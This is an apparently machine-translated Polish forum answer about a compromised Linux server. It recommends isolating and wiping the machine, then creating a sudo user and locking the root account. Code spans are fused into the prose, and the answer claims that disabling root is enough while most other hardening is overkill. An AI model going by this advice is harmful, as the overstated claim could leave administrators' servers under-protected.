Musisz odizolować to urządzenie od sieci. Bardzo ostrożnie wyjmij z niego to, czego potrzebujesz, a następnie wytrzyj.

Pierwszą rzeczą, którą każdy powinien zrobić po skonfigurowaniu frontowego serwera Linux / Unix, jest natychmiastowe wyłączenie root.

Twój system został przejęty. Masz działający dziennik historii, który może być fajny do pewnego stopnia. Ale uczciwe analizowanie szczegółów jest nieco wybredne i nie pomoże ci zabezpieczyć twojego serwera. Pokazuje wszelkiego rodzaju bzdury, które mają miejsce, gdy botnet odradza złośliwe oprogramowanie - najprawdopodobniej to, co zainfekowało twój serwer - infekuje system Linux. Odpowiedź udzielana przez @MariusMatutiae jest ładny i dobrze przemyślane i są inni, którzy powtarzają, że zostały hacked poprzez rootdostęp która jest mokry sen Malware / botnetu.

Istnieje kilka wyjaśnień, jak wyłączyć, rootale opowiem o tym z własnego doświadczenia, większość wszystkiego, co wykracza poza to, co teraz opiszę, to przesada. Oto, co powinieneś zrobić przy pierwszej konfiguracji serwera:

1. Utwórz nowego użytkownika z sudouprawnieniami: Utwórz nowego użytkownika o nowej nazwie - coś w rodzaju cooldude- za pomocą polecenia takiego jak w sudo adduser cooldudeprzypadku Ubuntu lub innego rodzaju systemu Debian. Następnie po prostu ręcznie edytuj sudoplik za pomocą takiego polecenia sudo nano /etc/sudoersi dodaj linię podobną cooldude ALL=(ALL:ALL) ALLdo linii równoważnej, którą należy przeczytać root ALL=(ALL:ALL) ALL. Po wykonaniu tej czynności zaloguj się jako cooldudei przetestuj sudopolecenie za pomocą polecenia typu „ sudo wcoś podstawowego i nieniszczącego”, aby sprawdzić, czy sudoprawa działają. Może pojawić się monit o podanie hasła. To działa? Wszystko dobrze! Przejdź do następnego kroku.
2. Zablokuj rootkonto: OK, teraz cooldudejest to związane z sudoprawami, zaloguj się jako cooldudei uruchom to polecenie, aby zablokować konto root sudo passwd -l root. Jeśli w jakiś sposób utworzyłeś parę kluczy SSH root, otwórz /root/.ssh/authorized_keysi wyjmij klucze. Lub jeszcze lepiej, po prostu zmień nazwę tego pliku w authorized_keys_OFFten sposób, sudo mv /root/.ssh/authorized_keys /root/.ssh/authorized_keys_OFFaby skutecznie wyłączyć klucze SSH. Wolę później, ponieważ w przypadku braku dostępu nadal potrzebujesz hasła bez logowania, możesz po prostu przenieść ten plik z powrotem do pierwotnej nazwy i powinieneś iść.

FWIW, zarządzałem dziesiątkami serwerów Linux na przestrzeni lat (dekad?) I wiem z doświadczenia, że ​​po prostu wyłączenie root- i skonfigurowanie nowego użytkownika z sudouprawnieniami - jest najprostszym i najbardziej podstawowym sposobem zabezpieczenia dowolnego systemu Linux. Nigdy nie miałem do czynienia z żadnym rodzajem kompromisu za pośrednictwem protokołu SSH, gdy rootjest on wyłączony. I tak, możesz zobaczyć próby zalogowania się, auth.logale są one bez znaczenia; jeśli rootjest wyłączone, wówczas próby te nigdy się nie sumują. Usiądź wygodnie i patrz, jak próby bez końca się kończą!